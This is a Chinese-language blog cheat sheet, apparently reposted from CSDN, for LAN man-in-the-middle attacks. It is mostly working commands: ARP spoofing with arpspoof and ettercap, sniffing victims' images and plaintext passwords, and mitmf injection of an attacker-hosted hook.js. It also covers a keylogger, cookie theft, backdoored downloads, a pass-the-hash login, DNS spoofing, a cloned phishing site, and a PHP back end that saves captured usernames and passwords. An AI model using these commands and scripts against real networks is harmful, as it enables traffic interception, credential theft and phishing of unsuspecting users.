局域网渗透测试篇

中间人攻击

arpspoof&&driftnet篇

arpspoof详解

#安装dsniff(arpspoof是dsniff集成的一个工具)和driftnet
apt-get install dsniff
apt-get install driftnet

#开启ip转发功能
echo 1 > /proc/sys/net/ipv4/ip_forward 

#开始攻击-t 欺骗目标ip -r 路由器ip
arpspoof -t 192.168.0.15 -r 192.168.0.1
或者-t 网关ip 目标ip
arpspoof -i eth0 -t 192.168.0.1 192.168.0.2

#获取攻击目标浏览的图片
driftnet -i eth0
driftnet -i eth0 -a -d ./pics -s	//将图片存放到./pic文件夹下面

#抓取明文密码
dsniff -i eth0 -m

driftnet软件参数详解

主要参数:
	-b    捕获到新的图片时发声
	-i      选择监听接口
	-f     读取一个指定pcap数据包中的图片
	-a  后台模式:
	-m  指定保存图片数的数目
	-d  指定保存图片的路径
	-x   指定保存图片的前缀名

ettercap进行arp攻击

#arp欺骗 -M 攻击模式 -q 静默模式 -T
ettercap -i eth0 -Tq -M arp:remote /192.168.0.2// /192.168.0.1// 

mitmf注入脚本(XSS)

#安装
1.安装依赖
sudo apt-get install python-dev python-setuptools libpcap0.8-dev libnetfilter-queue-dev libssl-dev libjpeg-dev libxml2-dev libxslt1-dev libcapstone3 libcapstone-dev libffi-dev file
2.安装mitmf
sudo apt-get install mitmf



# 作为中间人连接网页并插入 js
mitmf --spoof --arp -i eth0 --gateway 10.10.10.2 --target 10.10.10.133 --inject --js-url http://10.10.10.131:3000/hook.js

# 键盘记录器 --jskeylogger
mitmf --spoof --arp -i eth0 --gateway 10.10.10.2 --target 10.10.10.133 --jskeylogger

# 图片:--upsidedownternet、--screen(/var/log/mitmf)
mitmf --spoof --arp -i eth0 --gateway 10.10.10.2 --target 10.10.10.133 --upsidedownterne

# cookie:--ferretng(cookie)
mitmf --spoof --arp -i eth0 --gateway 10.10.10.2 --target 10.10.10.133 --ferretng

# 凌空插后门 –filepwn
mitmf --spoof --arp -i eth0 --gateway 10.10.10.2 --target 10.10.10.133 --filepwn

kali使用密文直接登录

pth-winexe工具

pth-winexe -U John%aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4 //10.10.10.133 cmd

DNS攻击

ettercap实现

#编辑dns解析记录
vim /etc/ettercap/etter.dns

#开启Apache服务或者python临时网站
systemctl start apache2
或者
python -m SimpleHTTPServer 8080


#放置钓鱼网站到/var/www/html目录下(使用apache2时放在这个目录下)
#或者使用python -m SimpleHTTPServer 8080时放在./目录下

#ettercap软件(已经打开ARP投毒),再打开DNS投毒

钓鱼网站页面

前台网页 (httrack克隆)

#安装
sudo apt-get install httrack

#建一个文件夹放置克隆的网页
mkdir gateway-fish
cd gateway-fish

#启动
httrack

后台脚本

<?php
$nam = stripslashes($_REQUEST['username']);
$pas = stripslashes($_REQUEST['login_pwd']);
$retr = "\n";
$content = "账号:".$nam."密码:".$pas;
echo $content;
$file = fopen("userpass.txt","w");
fwrite($file,$content);
fwrite($file,$retr);
fclose($file);
?>

<html>
<head>
<script type="text/javascript">
function goback()
{
    
    
	window.history.back()
}
</script>
</head>
<body onload="goback()"></body>
</html>

猜你喜欢

转载自blog.csdn.net/qq_44635376/article/details/114273403